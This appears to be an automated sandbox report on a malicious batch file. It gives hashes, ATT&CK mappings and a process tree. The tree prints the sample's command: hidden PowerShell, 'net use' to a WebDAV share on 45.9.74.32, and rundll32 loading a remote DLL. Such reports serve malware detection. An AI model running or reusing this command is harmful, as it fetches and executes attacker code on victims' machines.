c96ec9b5204b888eecaadcad2fc37ef10038f969e29df23a9982bedbbdd5656a

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15-07-2024 07:19

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General

Target

340286003089731690.bat
Size

2KB
MD5

d5560ce8aeb9fcddb636a1fb9e3271dc
SHA1

70a4ebe56a2ddd76b566c277c8b19709757f0167
SHA256

f9b97ae8a4a6175dbe413e72dc767c648f70006ad6e6f14fdb8cf815df75286a
SHA512

4bacdccd955f2a6f3abc2ebd57c07090f054b93cba4f628a771c7f58886689c17952d4d7b06686c4039ab3e542600dc5254c782f409b35eec17aa28cccf9220f

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1956	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1956	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3056	wordpad.exe
3056	wordpad.exe
3056	wordpad.exe
3056	wordpad.exe
3056	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 3056	1948	cmd.exe	31
PID 1948 wrote to memory of 3056	1948	cmd.exe	31
PID 1948 wrote to memory of 3056	1948	cmd.exe	31
PID 1948 wrote to memory of 1956	1948	cmd.exe	32
PID 1948 wrote to memory of 1956	1948	cmd.exe	32
PID 1948 wrote to memory of 1956	1948	cmd.exe	32
PID 1956 wrote to memory of 2724	1956	powershell.exe	34
PID 1956 wrote to memory of 2724	1956	powershell.exe	34
PID 1956 wrote to memory of 2724	1956	powershell.exe	34
PID 1956 wrote to memory of 3008	1956	powershell.exe	35
PID 1956 wrote to memory of 3008	1956	powershell.exe	35
PID 1956 wrote to memory of 3008	1956	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\340286003089731690.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2373.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2724
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2373.dll entry
    3⤵
    PID:3008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1956-24-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/1956-23-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download